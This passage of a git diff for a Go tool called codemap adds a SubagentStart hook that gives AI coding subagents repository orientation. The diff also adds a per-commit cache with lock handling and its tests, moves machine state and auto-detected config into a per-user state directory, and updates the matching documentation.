.codemap/config.json" { + t.Fatalf("machine state visible to git: %q in\n%s", line, got) + } + } } diff --git a/cmd/setup_scope_test.go b/cmd/setup_scope_test.go index 0172df4e..35c23ab2 100644 --- a/cmd/setup_scope_test.go +++ b/cmd/setup_scope_test.go @@ -13,6 +13,7 @@ func isolateHome(t *testing.T) string { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("CODEX_HOME", "") return home } diff --git a/cmd/setup_test.go b/cmd/setup_test.go index f5b8d359..5c2354cf 100644 --- a/cmd/setup_test.go +++ b/cmd/setup_test.go @@ -68,6 +68,13 @@ func TestEnsureClaudeHooksCreatesSettings(t *testing.T) { t.Fatalf("expected %q hook command in event %q", spec.Command, spec.Event) } } + if subagent := hooks["SubagentStart"]; len(subagent) != 1 || subagent[0].Matcher != "" { + t.Fatalf("expected one SubagentStart entry with no matcher, got %v", hooks["SubagentStart"]) + } + again, err := ensureClaudeHooks(settingsPath, false) + if err != nil || again.AddedHooks != 0 || again.WroteFile { + t.Fatalf("second ensureClaudeHooks should be a no-op, got %+v, err %v", again, err) + } } func TestEnsureClaudeHooksPreservesFieldsAndAvoidsDuplicates(t *testing.T) { @@ -173,7 +180,8 @@ func TestEnsureClaudeHooksAddsMatcherScopedHookWhenMatcherMissing(t *testing.T) "PostToolUse": [{"matcher":"Edit|Write","hooks":[{"type":"command","command":"codemap hook post-edit"}]}], "UserPromptSubmit": [{"hooks":[{"type":"command","command":"codemap hook prompt-submit"}]}], "PreCompact": [{"hooks":[{"type":"command","command":"codemap hook pre-compact"}]}], - "SessionEnd": [{"hooks":[{"type":"command","command":"codemap hook session-stop"}]}] + "SessionEnd": [{"hooks":[{"type":"command","command":"codemap hook session-stop"}]}], + "SubagentStart": [{"hooks":[{"type":"command","command":"codemap hook subagent-start"}]}] } }` if err := os.WriteFile(settingsPath, []byte(existing), 0644); err != nil { @@ -241,8 +249,8 @@ func TestEnsureCodexHooksReconcilesMixedLegacyAndCanonicalConfig(t *testing.T) { if err != nil { t.Fatalf("ensureCodexHooksWithExecutable: %v", err) } - if result.AddedHooks != 0 || result.RemovedHooks != 7 || !result.WroteFile { - t.Fatalf("result = %+v, want AddedHooks=0 RemovedHooks=7 WroteFile=true", result) + if result.AddedHooks != 1 || result.RemovedHooks != 7 || !result.WroteFile { + t.Fatalf("result = %+v, want AddedHooks=1 (SubagentStart) RemovedHooks=7 WroteFile=true", result) } settings := readSettingsFile(t, settingsPath) precisionSettings, err := decodeJSONObject(mustReadFile(t, settingsPath)) @@ -293,8 +301,8 @@ func TestEnsureCodexHooksMigratesLegacyOnlyConfig(t *testing.T) { if err != nil { t.Fatalf("ensureCodexHooksWithExecutable: %v", err) } - if result.AddedHooks != 6 || result.RemovedHooks != 6 || !result.WroteFile { - t.Fatalf("result = %+v, want AddedHooks=6 RemovedHooks=6 WroteFile=true", result) + if result.AddedHooks != 7 || result.RemovedHooks != 6 || !result.WroteFile { + t.Fatalf("result = %+v, want AddedHooks=7 RemovedHooks=6 WroteFile=true", result) } settings := readSettingsFile(t, settingsPath) assertCodexCanonicalHooks(t, readHooksMap(t, settings), specs) diff --git a/cmd/skill.go b/cmd/skill.go index 12a3ea08..e76aca31 100644 --- a/cmd/skill.go +++ b/cmd/skill.go @@ -112,10 +112,11 @@ func runSkillShow(root, name string) { func runSkillInit(root string) { skillsDir := filepath.Join(projectpath.CodemapDir(root), "skills") - if err := gitexclude.MkdirAll(skillsDir, 0755); err != nil { + if err := os.MkdirAll(skillsDir, 0o755); err != nil { fmt.Fprintf(os.Stderr, "Error creating skills directory: %v\n", err) os.Exit(1) } + _, _ = gitexclude.EnsureStateIgnore(projectpath.CodemapDir(root)) template := `--- name: my-skill diff --git a/cmd/subagent_cache.go b/cmd/subagent_cache.go new file mode 100644 index 00000000..cfe5672c --- /dev/null +++ b/cmd/subagent_cache.go @@ -0,0 +1,190 @@ +package cmd + +import ( + "context" + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "time" + + "codemap/internal/projectpath" + "codemap/internal/runtimefile" + "codemap/watch" +) + +// The subagent orientation block is cached per HEAD commit in the project's +// state directory, so a large repo renders it once per commit, not once per +// subagent spawn. +const ( + subagentCacheVersion = "1" // bump when the block's format changes + subagentCacheFile = "subagent-start.json" + subagentRefreshLock = "subagent-start.lock" + subagentRefreshHook = "subagent-refresh" // internal: the background render + subagentRefreshBound = 60 * time.Second + // subagentRenderDelayEnv delays the background render; only tests set it, + // so the slow path is exercised without racing the machine's speed. + subagentRenderDelayEnv = "CODEMAP_TEST_SUBAGENT_RENDER_DELAY" +) + +type subagentCache struct { + Key string `json:"key"` + Block string `json:"block"` +} + +func subagentCacheDir(root string) (string, bool) { + dir, err := projectpath.CheckedRuntimeCodemapDir(root) + return dir, err == nil +} + +// readSubagentCache returns the cached block for key; a missing, corrupt or +// stale cache is a miss. It creates nothing. +func readSubagentCache(root, key string) (string, bool) { + dir, err := projectpath.StateDir(root) + if err != nil || key == "" { + return "", false + } + data, err := runtimefile.Read(filepath.Join(dir, subagentCacheFile)) + if err != nil { + return "", false + } + var cache subagentCache + if json.Unmarshal(data, &cache) != nil || cache.Key != key || cache.Block == "" { + return "", false + } + return cache.Block, true +} + +// writeSubagentCache stores block for key, best effort. +func writeSubagentCache(root, key, block string) { + dir, ok := subagentCacheDir(root) + if !ok || key == "" || block == "" { + return + } + data, err := json.Marshal(subagentCache{Key: key, Block: block}) + if err != nil { + return + } + _ = runtimefile.WriteAtomic(filepath.Join(dir, subagentCacheFile), data, 0o600) +} + +// subagentCacheKey is HEAD plus the format version; a repo with no commit yet +// shares one "unborn" key until its first commit. +func subagentCacheKey(root string) string { + cmd := exec.Command("git", "rev-parse", "--verify", "-q", "HEAD") + cmd.Dir = root + out, _ := cmd.Output() + head := strings.TrimSpace(string(out)) + if head == "" { + head = "unborn" + } + return head + "/v" + subagentCacheVersion +} + +// subagentStartBlock returns the cached block, or "" when none appears within +// budget. Nobody renders in the foreground: on a miss the one process that +// wins the lock launches the single detached render, and every caller, the +// winner included, waits for the cache file. So N subagents starting on a +// new HEAD cost one render, and a hook killed by its timeout still leaves it +// running. +func subagentStartBlock(root string, budget time.Duration) string { + key := subagentCacheKey(root) + if block, ok := readSubagentCache(root, key); ok { + return block + } + dir, ok := subagentCacheDir(root) + if !ok { + // The cache is an optimisation: with nowhere to keep it, render here + // under the same budget and store nothing. + ctx, cancel := context.WithTimeout(context.Background(), budget) + defer cancel() + block, _ := renderSubagentBlock(ctx, root) + return block + } + if release, won := acquireRefreshLock(filepath.Join(dir, subagentRefreshLock)); won && !startSubagentRefresh(root) { + release() + } + for deadline := time.Now().Add(budget); ; time.Sleep(25 * time.Millisecond) { + if block, ok := readSubagentCache(root, key); ok { + return block + } + if time.Now().After(deadline) { + return "" + } + } +} + +// startSubagentRefresh launches the detached render, which owns the lock the +// caller took; tests replace it. It reports whether the launch happened. +var startSubagentRefresh = func(root string) bool { + exe, err := os.Executable() + if err != nil { + return false + } + cmd := exec.Command(exe, append(projectpath.PrependSetupRootArgs("hook", subagentRefreshHook), root)...) + if cmd.Start() != nil { + return false + } + _ = cmd.Process.Release() + return true +} + +// refreshSubagentCache renders and stores the block for the current HEAD, +// never past subagentRefreshBound, then drops the lock its launcher took. +func refreshSubagentCache(root string) { + resolved, found, err := ResolveNearestGitRoot(root) + if err != nil || !found { + return + } + if root, err = ValidateProjectPath(resolved); err != nil { + return + } + dir, ok := subagentCacheDir(root) + if !ok { + return + } + lock := filepath.Join(dir, subagentRefreshLock) + defer os.Remove(lock) + // The pid lets a waiter take the lock over at once if this process dies. + _ = runtimefile.WriteAtomic(lock, []byte(strconv.Itoa(os.Getpid())), 0o600) + key := subagentCacheKey(root) + if _, hit := readSubagentCache(root, key); hit { + return + } + ctx, cancel := context.WithTimeout(context.Background(), subagentRefreshBound) + defer cancel() + if delay, err := time.ParseDuration(os.Getenv(subagentRenderDelayEnv)); err == nil { + time.Sleep(min(delay, 5*time.Second)) + } + if block, err := renderSubagentBlock(ctx, root); err == nil { + writeSubagentCache(root, key, block) + } +} + +// acquireRefreshLock creates lock exclusively (O_EXCL never follows a link). +// A lock whose recorded refresher is no longer alive, or that is older than +// the refresh bound (a live but stuck render, or one that never recorded its +// pid), is taken over. +func acquireRefreshLock(lock string) (func(), bool) { + for attempt := 0; attempt < 2; attempt++ { + f, err := os.OpenFile(lock, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600) + if err == nil { + _ = f.Close() + return func() { _ = os.Remove(lock) }, true + } + info, statErr := os.Lstat(lock) + if statErr != nil || !info.Mode().IsRegular() { + return nil, false + } + data, _ := runtimefile.Read(lock) + pid, _ := strconv.Atoi(strings.TrimSpace(string(data))) + dead := pid > 0 && !watch.ProcessAlive(pid) + if !dead && time.Since(info.ModTime()) < subagentRefreshBound { + return nil, false + } + _ = os.Remove(lock) + } + return nil, false +} diff --git a/cmd/subagent_cache_test.go b/cmd/subagent_cache_test.go new file mode 100644 index 00000000..ccdcb7d7 --- /dev/null +++ b/cmd/subagent_cache_test.go @@ -0,0 +1,187 @@ +package cmd + +import ( + "context" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "sync" + "sync/atomic" + "testing" + "time" +) + +// subagentCacheRepo is a committed git repo whose renderer and detached +// launcher are replaced: the launcher runs the refresh in a goroutine. +func subagentCacheRepo(t *testing.T, delay time.Duration) (root string, renders, launches *atomic.Int32) { + t.Helper() + root = makeRepoOnBranch(t, "main") + renders, launches = new(atomic.Int32), new(atomic.Int32) + origRender, origLaunch := renderSubagentBlock, startSubagentRefresh + t.Cleanup(func() { renderSubagentBlock, startSubagentRefresh = origRender, origLaunch }) + renderSubagentBlock = func(ctx context.Context, root string) (string, error) { + renders.Add(1) + time.Sleep(delay) + return "block " + subagentCacheKey(root) + "\n", nil + } + startSubagentRefresh = func(root string) bool { + launches.Add(1) + go refreshSubagentCache(root) + return true + } + return root, renders, launches +} + +func waitForSubagentRefresh(t *testing.T, root string) { + t.Helper() + dir, _ := subagentCacheDir(root) + for deadline := time.Now().Add(10 * time.Second); ; time.Sleep(10 * time.Millisecond) { + _, hit := readSubagentCache(root, subagentCacheKey(root)) + if _, err := os.Lstat(filepath.Join(dir, subagentRefreshLock)); hit && os.IsNotExist(err) { + return + } + if time.Now().After(deadline) { + t.Fatal("the refresh never filled the cache and dropped its lock") + } + } +} + +func TestSubagentStartCachesPerHead(t *testing.T) { + root, renders, _ := subagentCacheRepo(t, 0) + first := subagentStartBlock(root, subagentStartTimeout) + if renders.Load() != 1 || !strings.HasPrefix(first, "block ") { + t.Fatalf("miss: renders=%d out=%q", renders.Load(), first) + } + waitForSubagentRefresh(t, root) + if second := subagentStartBlock(root, subagentStartTimeout); second != first || renders.Load() != 1 { + t.Fatalf("hit rendered again: renders=%d out=%q", renders.Load(), second) + } + runGitTestCmd(t, root, "-c", "user.name=t", "-c", "user.email=t@example.com", "commit", "-q", "--allow-empty", "-m", "next") + if third := subagentStartBlock(root, subagentStartTimeout); renders.Load() != 2 || third == first { + t.Fatalf("new HEAD served the old block: renders=%d out=%q", renders.Load(), third) + } + waitForSubagentRefresh(t, root) +} + +func TestSubagentStartCorruptCacheIsAMiss(t *testing.T) { + root, renders, _ := subagentCacheRepo(t, 0) + dir, _ := subagentCacheDir(root) + if err := os.WriteFile(filepath.Join(dir, subagentCacheFile), []byte("{not json"), 0o600); err != nil { + t.Fatal(err) + } + if out := subagentStartBlock(root, subagentStartTimeout); renders.Load() != 1 || !strings.HasPrefix(out, "block ") { + t.Fatalf("corrupt cache: renders=%d out=%q", renders.Load(), out) + } + waitForSubagentRefresh(t, root) +} + +// N subagents starting at once on a new HEAD cost one render, and every one +// of them gets the block when the render is fast. +func TestSubagentStartConcurrentMissesLaunchOneRender(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 50*time.Millisecond) + const n = 8 + outs := make([]string, n) + var wg sync.WaitGroup + for i := range outs { + wg.Add(1) + go func(i int) { defer wg.Done(); outs[i] = subagentStartBlock(root, subagentStartTimeout) }(i) + } + wg.Wait() + if launches.Load() != 1 || renders.Load() != 1 { + t.Fatalf("launches=%d renders=%d, want exactly one of each", launches.Load(), renders.Load()) + } + for i, out := range outs { + if !strings.HasPrefix(out, "block ") { + t.Fatalf("caller %d printed %q", i, out) + } + } + waitForSubagentRefresh(t, root) +} + +// A render slower than the budget prints nothing for anyone, yet still fills +// the cache afterwards and drops its lock. +func TestSubagentStartSlowRenderPrintsNothingAndFillsTheCacheLater(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 0) + // The render waits for every caller to give up, whatever the machine's + // speed, so "slow" is a fact of the test, not a race. + gate := make(chan struct{}) + fast := renderSubagentBlock + renderSubagentBlock = func(ctx context.Context, root string) (string, error) { + <-gate + return fast(ctx, root) + } + var wg sync.WaitGroup + for i := 0; i < 4; i++ { + wg.Add(1) + go func() { + defer wg.Done() + if out := subagentStartBlock(root, 20*time.Millisecond); out != "" { + t.Errorf("slow render printed %q", out) + } + }() + } + wg.Wait() + close(gate) + waitForSubagentRefresh(t, root) + if launches.Load() != 1 || renders.Load() != 1 { + t.Fatalf("launches=%d renders=%d, want one", launches.Load(), renders.Load()) + } +} + +func TestSubagentStartTakesOverAStaleLock(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 0) + dir, _ := subagentCacheDir(root) + lock := filepath.Join(dir, subagentRefreshLock) + if err := os.WriteFile(lock, nil, 0o600); err != nil { + t.Fatal(err) + } + if out := subagentStartBlock(root, 50*time.Millisecond); out != "" || launches.Load() != 0 { + t.Fatalf("a fresh lock must hold: out=%q launches=%d", out, launches.Load()) + } + stale := time.Now().Add(-2 * subagentRefreshBound) + if err := os.Chtimes(lock, stale, stale); err != nil { + t.Fatal(err) + } + if out := subagentStartBlock(root, subagentStartTimeout); !strings.HasPrefix(out, "block ") || renders.Load() != 1 { + t.Fatalf("stale lock not taken over: out=%q renders=%d", out, renders.Load()) + } + waitForSubagentRefresh(t, root) +} + +// A fresh lock whose refresher died is taken over at once; one held by a +// live process stays held. +func TestSubagentStartTakesOverTheLockOfADeadRefresher(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 0) + dir, _ := subagentCacheDir(root) + lock := filepath.Join(dir, subagentRefreshLock) + if err := os.WriteFile(lock, []byte(strconv.Itoa(os.Getpid())), 0o600); err != nil { + t.Fatal(err) + } + if out := subagentStartBlock(root, 50*time.Millisecond); out != "" || launches.Load() != 0 { + t.Fatalf("a live refresher's lock must hold: out=%q launches=%d", out, launches.Load()) + } + dead := exec.Command("git", "--version") + if err := dead.Run(); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(lock, []byte(strconv.Itoa(dead.Process.Pid)), 0o600); err != nil { + t.Fatal(err) + } + if out := subagentStartBlock(root, subagentStartTimeout); !strings.HasPrefix(out, "block ") || renders.Load() != 1 { + t.Fatalf("dead refresher's lock not taken over: out=%q renders=%d", out, renders.Load()) + } + waitForSubagentRefresh(t, root) +} + +// With no usable state dir the block is rendered in the foreground, not +// lost (the cache is an optimisation). +func TestSubagentStartWithoutAStateDirStillPrintsTheBlock(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 0) + t.Setenv("HOME", filepath.Join(t.TempDir(), "missing")) + t.Setenv("USERPROFILE", filepath.Join(t.TempDir(), "missing")) + if out := subagentStartBlock(root, subagentStartTimeout); !strings.HasPrefix(out, "block ") || renders.Load() != 1 || launches.Load() != 0 { + t.Fatalf("out=%q renders=%d launches=%d", out, renders.Load(), launches.Load()) + } +} diff --git a/collide.go b/collide.go index f7a566c0..63727628 100644 --- a/collide.go +++ b/collide.go @@ -233,7 +233,7 @@ func runCollideSubcommand(args []string, launchDir string) int { return 1 } - cmd.EnsureProjectConfig(resolvedRoot) + cmd.EnsureAutoConfig(resolvedRoot) cfg := config.Load(resolvedRoot) filters := scanner.Filters{Only: cfg.Only, Exclude: cfg.Exclude, MaxFiles: cfg.MaxFiles} // The scan outcome is kept rather than discarded: a package-resolved diff --git a/config/config.go b/config/config.go index 6628de55..1309a2b1 100644 --- a/config/config.go +++ b/config/config.go @@ -8,6 +8,7 @@ import ( "strings" "codemap/internal/projectpath" + "codemap/internal/runtimefile" "codemap/limits" ) @@ -256,11 +257,46 @@ func ConfigPath(root string) string { return filepath.Join(projectpath.CodemapDir(root), "config.json") } -// Load reads .codemap/config.json from root. -// Returns zero-value ProjectConfig if the file is missing. +// AutoConfigFile is the auto-detected config kept in the state dir for a +// repo without .codemap/config.json. +const AutoConfigFile = "auto-config.json" + +// AutoConfigPath returns the state-dir path of root's auto-detected config, +// or "" when there is no usable state dir. +func AutoConfigPath(root string) string { + dir := projectpath.ProjectRuntimeDir(root) + if dir == "" { + return "" + } + return filepath.Join(dir, AutoConfigFile) +} + +// Load reads .codemap/config.json from root, else the auto-detected config. +// Returns zero-value ProjectConfig if both are missing. // Logs a warning to stderr and returns zero-value if JSON is malformed. func Load(root string) ProjectConfig { - return LoadFile(ConfigPath(root)) + return LoadFirst(ConfigPath(root), func() string { return AutoConfigPath(root) }) +} + +// LoadFirst loads path, or the fallback path when path does not exist: the +// in-repo config always wins over the auto-detected one. +func LoadFirst(path string, fallback func() string) ProjectConfig { + if _, err := os.Stat(path); os.IsNotExist(err) { + if auto := fallback(); auto != "" { + return LoadAuto(auto) + } + } + return LoadFile(path) +} + +// LoadAuto reads an auto-detected config from the state dir. It refuses a +// symlink, and a missing or unreadable copy is zero (defaults). +func LoadAuto(path string) ProjectConfig { + var cfg ProjectConfig + if data, err := runtimefile.Read(path); err != nil || json.Unmarshal(data, &cfg) != nil { + return ProjectConfig{} + } + return cfg } // LoadFile reads a previously resolved config path. diff --git a/docs/CONFIG.md b/docs/CONFIG.md index 10f57c67..de59e94c 100644 --- a/docs/CONFIG.md +++ b/docs/CONFIG.md @@ -11,6 +11,8 @@ codemap config init # auto-detect top extensions, write config codemap config show # display current config ``` +Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`. Commit `.codemap/config.json` and `.codemap/skills/` if you want to share them; the folder's own `.gitignore` ignores anything else (only leftovers from older versions). Machine state lives in `~/.codemap/state//`, never in the repo ([INSTALL.md](INSTALL.md#setup)). Without `config.json`, codemap auto-detects `only` and `exclude` and keeps them as `auto-config.json` in that state dir. `codemap .` re-derives them from `git ls-files` (unbounded, so a repo over the scan bound keeps its code-first filter), picking up a changing file mix, and prints `auto filter: only ...; codemap config show` when the filter hides at least one file. Agent-facing output (hooks, `--json`, MCP) never carries that line, and hooks never scan to compute the filters. Run `codemap config init` for filters you can tune and commit. An in-repo `config.json` always wins. + ```json { "only": ["rs", "sh", "sql", "toml", "yml"], @@ -124,6 +126,6 @@ When you switch agents (Claude → Codex → Cursor), codemap tracks who worked } ``` -Agent detection is automatic via environment variables. History carries across sessions, capped at 20 entries, in `.codemap/handoff.latest.json`. +Agent detection is automatic via environment variables. History carries across sessions, capped at 20 entries, in `handoff.latest.json` in the state dir (`codemap doctor` prints it). Next: [MCP tools and Codex](MCP.md) diff --git a/docs/HOOKS.md b/docs/HOOKS.md index bf3f112d..4f1bd3cd 100644 --- a/docs/HOOKS.md +++ b/docs/HOOKS.md @@ -10,6 +10,7 @@ Hooks give Claude Code and Codex automatic codebase context throughout a session |------|--------------| | **Session starts** | Claude sees full project tree, hubs, branch diff, and last session context | | **After compact** | Claude sees the tree again (context restored) | +| **A subagent starts** | The subagent sees the top-level directories and the hub list | | **You mention a file** | Claude gets intent analysis, hub context, risk level, working set, and suggestions | | **Before editing** | Claude sees who imports the file AND what hubs it imports | | **After editing** | Claude sees the impact of what was just changed | @@ -36,8 +37,10 @@ Global settings instead of project-local: codemap setup --global ``` +After an upgrade there is no need to run setup again: when a settings file already has codemap's session-start hook but lacks a newer one (`SubagentStart`), the session-start hook adds it and says so. It takes effect in the next session; Codex also asks you to trust the new hook from `/hooks` first, and only the global Codex hook file is repaired; for a project-local `.codex/hooks.json`, run `codemap setup` again. Hook files without codemap hooks are never touched. + This command: -- creates `.codemap/config.json` when missing +- creates `.codemap/config.json` and `.codemap/.gitignore` when missing; machine state always lives in the per-user state dir, never in the repo (see [INSTALL.md](INSTALL.md#setup)) - merges codemap hooks into Claude and Codex settings without removing existing hooks - keeps hook setup idempotent (safe to run more than once) @@ -61,7 +64,8 @@ codemap -C /tmp/feature-worktree context Normal CLI, hook, and plugin MCP calls need no `--setup-root`. Config and skills come from the primary worktree, while daemon state, events, handoffs, and -session files remain local to the linked worktree. Tools built on standard +session files stay per worktree, in the per-user state dir (never inside the +worktree, which gets no `.codemap/`). Tools built on standard linked worktrees require no special Codemap integration. Independent clones remain unrelated. Use `--setup-root /path/to/original` @@ -137,6 +141,16 @@ If you want to manage Claude settings manually, add this `hooks` object to `.cla } ] } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "codemap hook subagent-start" + } + ] + } ] } } @@ -253,16 +267,12 @@ myproject ### Before/After Editing a File -Claude Code passes tool-hook stdout to the model only as JSON, so `pre-edit` and `post-edit` print this text inside a `{"hookSpecificOutput":{"hookEventName":"PreToolUse"|"PostToolUse","additionalContext":"..."}}` envelope, and print nothing when there is nothing to say. Run by hand at a terminal, they print the plain text. +Claude Code passes tool-hook stdout to the model only as JSON, so `pre-edit` and `post-edit` print this text inside a `{"hookSpecificOutput":{"hookEventName":"PreToolUse"|"PostToolUse","additionalContext":"..."}}` envelope, and print nothing when there is nothing to say. Run by hand at a terminal, they print the plain text. A file that resolves outside the project root (symlinks resolved) gets no output, and `post-edit` does not record it as an agent edit. ``` 📍 Before editing: cmd/hooks.go Imported by 1 file(s): main.go Imports 16 hub(s): scanner/types.go, scanner/walker.go, watch/daemon.go... - - Run now: - • codemap --importers cmd/hooks.go — review blast radius for this file - • codemap --deps — verify dependency flow around this change ``` Or if it's a hub: @@ -275,10 +285,6 @@ Or if it's a hub: • mcp/main.go • watch/watch.go ... and 7 more - - Run now: - • codemap --importers scanner/types.go — review blast radius for this file - • codemap --deps — verify dependency flow around this change ``` ### When You Mention a File (Prompt Submit) @@ -296,10 +302,6 @@ The prompt-submit hook performs **intent classification** and surfaces relevant • [check-deps] scanner/types.go — verify dependents still compile after changes • [run-tests] . — run full test suite after refactoring -Next codemap: - • codemap --importers scanner/types.go — check blast radius before editing this hub (10 importers) - • codemap --deps — verify dependency flow before refactoring - 📚 Suggested context routes: @@ -314,6 +316,8 @@ Next codemap: **Structured markers** (``, ``) are machine-readable JSON that tools can parse. The human-readable output is always shown alongside them. +The `💡 Suggestions` block prints only for file-specific suggestions from dependency evidence. A prompt with no file or no graph gets none, and the intent marker carries `"suggestions":[]`. + #### Intent Categories | Category | Triggered By | Extra Context | @@ -338,10 +342,29 @@ Next codemap: The **working set** tracks files you've edited during the current session. It shows edit count, net line delta, and hub status — giving Claude awareness of your active work context. -Edits are attributed by *provenance*, not by disk churn. The `PostToolUse` hook records the paths an agent wrote through its own tool calls into `.codemap/agent_edits.jsonl`, so a branch switch, a build, or a `git` command that touches hundreds of files does not masquerade as work the agent did. When no agent edits have been recorded, the summary says so and falls back to reporting disk activity rather than conflating the two. +Edits are attributed by *provenance*, not by disk churn. The `PostToolUse` hook records the paths an agent wrote through its own tool calls into `agent_edits.jsonl` in the per-user state dir (`codemap doctor` prints it), so a branch switch, a build, or a `git` command that touches hundreds of files does not masquerade as work the agent did. When no agent edits have been recorded, the summary says so and falls back to reporting disk activity rather than conflating the two. Provenance depends on the hook receiving a payload it understands: `tool_input.file_path` (Edit/Write), `tool_input.notebook_path` (NotebookEdit), or `tool_input.command` (Codex `apply_patch`). +### When a Subagent Starts + +Claude Code does not fire `SessionStart` for subagents, so `codemap hook subagent-start` runs on `SubagentStart` (every agent type, no matcher). It reads the payload's `cwd`, so a subagent in its own worktree is oriented on that worktree, and answers with one `{"hookSpecificOutput":{"hookEventName":"SubagentStart","additionalContext":"..."}}` envelope capped at 2,500 characters: + +``` +📍 codemap orientation: top-level directories (⭐️ marks hubs), then the hub list. Run `codemap .` for the full tree. +codemap +├── cmd/ (59 files, 535.1KB, all .go) +├── ⭐️ scanner/ ←79 (95 files, 790.4KB, all .go) +└── ⭐️ watch/ ←25 (33 files, 255.0KB, all .go) +⭐️ ←N = imported by N files, 3+ of them non-test (Go: package count, on its dir) +Hubs (top 10 of 15, by importers): + ←79 scanner/ + ←25 watch/ +Next: codemap --deps · codemap --importers scanner/astgrep.go +``` + +Above the large-repo file limit the hub list is replaced by the tree's `No ⭐️ hub marks:` note. Outside a git repository, or on any error, it prints nothing and exits 0 so a subagent never fails on it. `codemap setup` wires it for Claude Code and for Codex (which needs a Codex version with the `SubagentStart` hook event; 0.163.0 has it). + ### At Session End ``` 📊 Session Summary @@ -353,7 +376,7 @@ Edit Timeline: 14:30:11 CREATE cmd/new_feature.go +45 Stats: 8 events, 3 files touched, +63 lines, 1 hub edits -🤝 Saved handoff to .codemap/handoff.latest.json +🤝 Saved handoff to /handoff.latest.json ``` ### Next Session Start (Handoff Resume) @@ -380,8 +403,9 @@ If a recent handoff exists **for the current branch**, session start includes a | `codemap hook pre-edit` | `PreToolUse` (Edit\|Write) | Who imports file + what hubs it imports | | `codemap hook post-edit` | `PostToolUse` (Edit\|Write) | Impact of changes (same as pre-edit), and records the edit's provenance | | `codemap hook prompt-submit` | `UserPromptSubmit` | Intent classification, hub context, risk analysis, working set, route suggestions, drift warnings | -| `codemap hook pre-compact` | `PreCompact` | Saves hub state to .codemap/hubs.txt | -| `codemap hook session-stop` | `SessionEnd` | Edit timeline + writes `.codemap/handoff.latest.json`, `.codemap/handoff.prefix.json`, `.codemap/handoff.delta.json` | +| `codemap hook pre-compact` | `PreCompact` | Saves hub state to `hubs.txt` in the state dir | +| `codemap hook session-stop` | `SessionEnd` | Edit timeline + writes `handoff.latest.json`, `handoff.prefix.json`, `handoff.delta.json` in the state dir | +| `codemap hook subagent-start` | `SubagentStart` | Top-level directories with hub marks, then the hub list | --- @@ -410,7 +434,7 @@ codemap handoff --detail a.go . # lazy-load full detail for one changed file With these hooks, Claude: 1. **Knows** which files are hubs before touching them 2. **Sees** the blast radius after making changes -3. **Gets exact codemap commands** at decision points instead of generic protocol reminders +3. **Orients subagents** that never see the session-start tree 4. **Remembers** important files even after context compaction --- @@ -439,7 +463,7 @@ Session-start hook performance depends on whether the daemon is running: | State | Latency | What Happens | |-------|---------|--------------| -| Daemon running, state fresh | <100ms | Reads `.codemap/state.json` from disk | +| Daemon running, state fresh | <100ms | Reads `state.json` from the state dir | | Daemon running, state stale (>30s) | <100ms | Still reads state (daemon is alive) | | No daemon, small repo (<2000 files) | 200-500ms | Starts daemon + initial scan + dep graph | | No daemon, medium repo (2000-5000) | 500ms-2s | Starts daemon + scan (deps computed) | @@ -457,6 +481,7 @@ Hooks are budgeted to avoid context blowup: | prompt-submit | 180-350 bytes | Skill bodies not injected (pull-based) | | pre/post-edit | 0-500 bytes | Only for files with importers | | session-stop | 500-2KB | Last 10 events | +| subagent-start | 1-2KB | 2,500 characters | | multi-repo | Varies | 60KB total across all repos | The 8-second hook timeout prevents any single hook from blocking Claude. diff --git a/docs/INSTALL.md b/docs/INSTALL.md index fc4522b3..3289301c 100644 --- a/docs/INSTALL.md +++ b/docs/INSTALL.md @@ -42,12 +42,17 @@ codemap setup `codemap setup` configures the agents it detects: Claude Code when `~/.claude`, `~/.claude.json`, or `claude` on `PATH` exists, Codex when `~/.codex` or `codex` on `PATH` exists, and both when it finds neither. It: -- creates `.codemap/config.json` with auto-detected language filters +- creates `.codemap/` with `config.json` (auto-detected language filters) and `.codemap/.gitignore` +- names machine-state files an older codemap left under `.codemap/`: committed ones with the `git rm --cached -- ` command that untracks them (it never runs it), and untracked ones as no longer used and safe to delete - merges Claude hooks into `.claude/settings.local.json` and configures MCP in `.mcp.json` (project scope) - merges Codex hooks into `~/.codex/hooks.json` and configures MCP in `~/.codex/config.toml` (user scope, since Codex skips a project's `.codex/` until the project is trusted; `--project` writes `.codex/` instead) - writes the builtin skills to `.claude/skills/` for Claude, keeping any skill file you edited - hooks start and read daemon state at session start +`.codemap/` holds only what you author: `config.json` and `skills/`, both safe to commit. The one exception is a directory you pass as `--setup-root`: a daemon started under it keeps its runtime state in `/.codemap/runtime/`. Its `.gitignore` ignores anything else, which is only ever leftovers from older versions; codemap writes that file only when it is missing, so your edits to it stay. + +Machine state never goes into the repo, set up or not, primary checkout or linked worktree. Hooks, the watch daemon and every command keep it under `~/.codemap/state//`, next to the daemon registry in `~/.codemap/daemons/`; `XDG_CACHE_HOME` is not consulted. Every directory is private (0700), every file 0600, and codemap refuses a symlinked state directory or state file. `codemap doctor` prints the exact directory on its `state dir:` line. Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`; nothing else writes there, and a linked worktree never gets one. A git repo without `config.json` gets auto-detected filters stored in the state dir (`auto-config.json`); `codemap .` re-derives them from git's file list, and the tree says `auto filter: ...` when they hide something. Run `codemap config init` to commit filters instead. Reading never creates state, and a directory outside git gets none. When there is no home directory, codemap runs without saved state and never creates one. + Rerunning setup is safe: it changes only what is missing or stale. `--no-config`, `--no-hooks`, `--no-mcp`, and `--no-skills` skip a piece. Managed entries record the verified absolute path of the running `codemap`, so agents don't depend on your shell `PATH`. Rerun setup if that path changes. diff --git a/find_cmd.go b/find_cmd.go index 1fd1192c..1e681284 100644 --- a/find_cmd.go +++ b/find_cmd.go @@ -72,7 +72,7 @@ func runFindSubcommand(args []string, launchDir string) int { return 1 } - cmd.EnsureProjectConfig(absRoot) + cmd.EnsureAutoConfig(absRoot) cfg := config.Load(absRoot) report, err := find.Run(context.Background(), absRoot, scanner.Filters{Only: 